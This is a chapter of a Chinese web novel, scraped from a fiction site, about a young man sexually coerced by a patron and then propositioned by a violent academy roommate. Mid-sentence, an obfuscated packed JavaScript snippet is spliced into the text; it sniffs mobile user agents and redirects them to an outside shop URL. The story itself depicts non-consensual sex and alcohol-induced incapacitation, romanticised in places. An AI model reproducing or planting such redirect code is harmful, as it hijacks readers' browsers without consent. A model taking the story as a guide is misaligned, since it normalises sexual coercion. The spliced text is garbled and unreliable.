文趣网 > 都市小说 > 被天龙人圈养的老实人 > 12. 条件
    接下来的这一周谢知生过得很混沌,但比之前在那支队伍的情况好太多。

    白天华烨带他熟悉军校周边,夜里便缠着他,像是要把那所谓S级异能的秘密从他身体里榨出来。

    谢知生由生理性抗拒到酒精麻木,华烨见他不听话时,除了某些强硬手段外,还会给他灌酒,他的动作算不上温柔,甚至有些粗暴。

    衣物被扯开,皮肤暴露在冷空气中,激起一层战栗,谢知生偏过头,看着墙上那幅抽象画,色彩斑斓,扭曲变形,像极了他此刻支离破碎的思绪。

    华烨还总是喜欢灌他酒,每次醒来时,他记忆都是一片空白。

    他不再去想这是惩罚还是交易。

    他只一心想着变强。

    谢知生,变强就好了,变强之后不会有人再这样随意践踏你。

    只有变强,才能把这些人的手从自己身上一根根掰断。

    到了入校时间,华烨扔给他一个盒子和一封通知书。

    谢知生打开,里面是崭新的军校制服,深黑色,硬挺的布料,还有一枚闪着冷光的校徽,通知书安静地躺在袋子里,上面印着“科里帝国第一军事学院”几个烫金大字。

    谢知生心脏猛地跳漏一拍。

    他真的能去上学了。

    喜悦像破土的嫩芽,瞬间冲散了连日来的阴霾,他抓起制服,手指抚过那光滑的面料,眼眶有些发热。

    “这么高兴?”华烨靠在门边,看着他,嘴角勾起一抹玩味的笑:

    “穿上给我看看。”

    谢知生抱着衣服,犹豫一下,还是走进卧室。

    他刚关上门,华烨便跟进来。

    “我帮你。”华烨夺过他手里的衣服,不由分说地扯开他的领口。

    “我自己来……”谢知生想躲,却被华烨一把按住肩膀,动弹不得。

    华烨的动作算不上帮忙,更像是另一种形式的禁锢,衬衫扣子被粗暴地扣上,勒得他有些呼吸困难,领带被胡乱套上,收紧时,勒得他喉结生疼。

    谢知生被迫仰着头,承受着华烨审视的目光。

    “真乖。”华烨低笑,指腹蹭过他滚烫的脸颊:

    “穿这身衣服,真是高估我的意志。”

    谢知生浑身僵硬。

    他想推开这只手,想撕碎这身可笑的制服,想大喊大叫。

    可他不能,这是他好不容易换来的机会,是他唯一能脱离这泥潭的绳索。

    他死死咬住下唇,将翻涌的恶心和绝望硬生生压回肚子里。

    华烨把这当成了情趣,他凑近,吻落在谢知生颤抖的睫毛上,一路向下,带着满意的叹息。

    一切结束后,谢知生蜷缩在床角,校服皱巴巴地裹在身上,像一层沉重的盔甲。

    华烨替他整理好衣领,又恢复了那副散漫的样子:“走吧,送你去学校。”

    悬浮车停在学院巍峨的大门前。

    谢知生刚要下车,后颈便被华烨扣住。他被迫转过头,迎上一个带着掠夺意味的深吻。

    这个吻又凶又急,像是在宣示主权。

    直到谢知生缺氧,大脑一片空白,华烨才稍微松开他,却依旧捏着他的下巴。

    “要迟到了。”谢知生喘着气,小声提醒。

    华烨盯着他红肿的唇,拇指摩挲着他的下颌线,语气里带着警告和不容置疑的占有欲:

    “小土狗,进了学校记得安生一些。”

    “别让我亲自去逮你。”

    谢知生推开他,跌跌撞撞地跑下车。

    身后,悬浮车引擎轰鸣,载着那个掌控他命运的人,驶入了科里帝国灰蒙蒙的雨幕中。

    宿舍门在身后合拢,隔绝外面的喧嚣。

    房间不大,两张单人床,中间隔着一排书桌,靠窗的位置已经有人住,桌上摆着几台拆开的机械零件,乱中有序。

    浴室水声停了。

    谢知生低头整理床铺,将崭新的被褥铺平,动作熟练,他尽量放轻动作,不想惊扰到任何人。

    浴室门被推开,热气涌出。

    走出来的男人一头黑色狼尾,发梢还在滴水,他赤着上身,露出精瘦的腰腹,几道旧疤横亘在皮肤上,透着股野性。

    那人看都没看谢知生一眼,套了一件T恤和短裤,径直走到电脑前,戴上耳机,敲击键盘的声音在安静的房间里格外清晰。

    谢知生顿了顿,还是说了句:“你好。”

    男人没回应,屏幕上的枪火光影映在他侧脸上,阴冷不羁。

    谢知生也不再尝试,他本就没打算交朋友,这种冷淡正合他意。

    他蹲下身,将行李箱里的衣物一件件拿出来。

    内衣,袜子,几件换洗的便服,箱子底层,还压着一个黑色的小盒子,是华烨今早塞进去的,说是学校必备的用品。

    谢知生没打开看,只是将它连同衣服一起塞进了衣柜最深处。

    行李箱没合上,盖子半敞着,里面还放着一些东西。

    谢知生才看见那些工具,着急去关,眼角余光却瞥见那个黑发男人忽然转过头,视线在他半开的行李箱里扫了一眼。

    谢知生心脏猛地一紧。

    男人很快又转了回去,重新盯着屏幕,手指在键盘上飞舞,仿佛刚才只是随意一瞥。

    谢知生僵在原地,半晌才缓过神来,他慢慢合上行李箱,扣好锁扣,动作轻得不能再轻。

    他坐在床边,看着那个男人的背影,心里那点刚入学的新鲜感,瞬间凉了大半。

    但愿,他没看见。

    训练场的顶灯把沙地照得惨白,汗水味混着灰尘,呛得人喉咙发紧。

    开学头两周,谢知生和尹辉被绑在一起。

    战术理论课要搭档,体能测试要陪练,就连晚上写作战方案,教官也硬把他们凑成一组。

    尹辉从不主动说话,谢知生问他武器参数,他只甩过来一张数据表。

    谢知生递给他笔记,他接过去,看也不看就塞进抽屉最底层。

    他们坐在教室最后一排,中间隔着一道无形的鸿沟,尹辉总在拆机械,手指上沾着机油。谢知生就埋头抄书,笔尖划过纸张,沙沙作响。

    训练时更糟。

    障碍跑,尹辉早就翻过高墙,谢知生还在墙下喘气;射击练习,尹辉靶心全中,谢知生脱靶三次;每次教官喊停,尹辉都会冷冷扫他一眼,那眼神像在说:废物。

    谢知生咬着牙跟上:他不能掉队,这是他好不容易换来的机会。

    可这天,教官吹响集合哨,宣布进行肉搏对抗。

    “尹辉,谢知生,出列。”

    谢知生心脏猛地一沉。

    沙地对面,尹辉慢悠悠走出来,黑色狼尾发梢滴着汗,眼神清冷如刃,刮过谢知生单薄的身形,两人隔着三米远对峙,空气凝滞。

    教官吹响预备哨。

    谢知生立刻摆出

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689041|207868||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    防御姿态,双臂横在身前,重心下沉。

    他知道尹辉的狠,只求别输得太难看。

    尖锐哨声撕裂空气。

    尹辉动了。

    没有试探,像饿狼扑食,瞬间贴近。

    谢知生眼前一花,拳头已带着风声砸向面门,他慌忙侧头,拳锋擦着耳廓掠过,火辣辣的疼。

    紧接着是第二拳,第三拳。

    尹辉的攻势又密又狠,每一击都奔着要害,谢知生狼狈招架,格挡的手臂被震得发麻,身子不由自主地往后退,脚跟碰到训练垫边缘,他一个趔趄,险些摔倒。

    尹辉抓住破绽,一记重踢扫向他下盘。

    谢知生躲不开,被狠狠踹在小腿上,剧痛钻心,整个人失去平衡向后倒去,沙地粗糙的颗粒瞬间磨破了后颈的皮肤。

    还没等他缓过气,尹辉已经压了上来。

    膝盖死死顶住他的小腹,一只手像铁钳般攥住他的两只手腕,高举过头顶按进沙地里,另一只手揪住他的头发,迫使他仰起脸,暴露在顶灯刺目的光线下。

    “就这点本事?”

    尹辉的声音从头顶砸下来,冷得像冰碴。

    谢知生肺部火烧火燎,张着嘴却吸不进气,只能从喉咙里挤出破碎的嗬嗬声。

    他徒劳地扭动身体,却像被钉在砧板上的鱼,每一次挣扎都换来尹辉更用力的压制。

    沙砾钻进口腔,混着血腥味。

    周围静得可怕。

    尹辉盯着他涨红的脸,眼神里没有半分怜悯,却冒出其他的情绪。

    不知是不是谢知生的错觉,他总觉得自己的腰被这人用手掐了一下。

    尹辉松开手,站起身,甚至没再多看一眼,径直走回队列阴影里。

    谢知生蜷缩在沙地里,咳出几口带血的唾沫,他慢慢撑起上半身,拍掉头发里的沙土,低着头走回自己的位置。

    谢知生想:自己输得真难看连一回合都没坚持下来。

    夜色浓重,走廊感应灯随着脚步声亮起,又在身后熄灭,谢知生拖着酸痛的身子回到宿舍,钥匙刚插进锁孔,门便从里面拉开。

    一股大力袭来,他还没看清人影,后背已重重撞上门板。

    尹辉单手扣住他的双腕,举过头顶,另一只手抵着他的喉咙,将他死死钉在门上。

    “你想干什么?”谢知生挣扎,嗓音沙哑。

    尹辉凑近,呼吸喷在他脸上,带着薄荷烟草的冷冽气味:“蠢货,想不想赢?”

    谢知生愣住:“你什么意思?”

    “我可以教你。”尹辉松开掐着他脖子的手,转而捏住他的下巴,力道不轻:

    “教你不被人按在沙地里打。”

    谢知生盯着他那双不可窥视的眼睛,试图分辨这话里的真假:“教我?”

    “不过,有条件。”尹辉打断他,拇指蹭过他下巴上新鲜的擦伤,那是下午肉搏时留下的。

    谢知生能闻到尹辉身上淡淡的机油味,那是他整天泡在机甲维修室里的味道。

    “什么条件?”谢知生有些好奇。

    尹辉没立刻回答,他松开钳制谢知生的手,退后半步,靠在旁边的书桌上,从口袋里摸出个打火机,啪地一声点燃。

    火苗在黑暗中跳跃,映着他冷硬的侧脸。

    “我看见你行李箱里的东西了”尹辉说,期间呼吸吹熄火苗:

    “我有些好奇,你马蚤起来是什么样的。”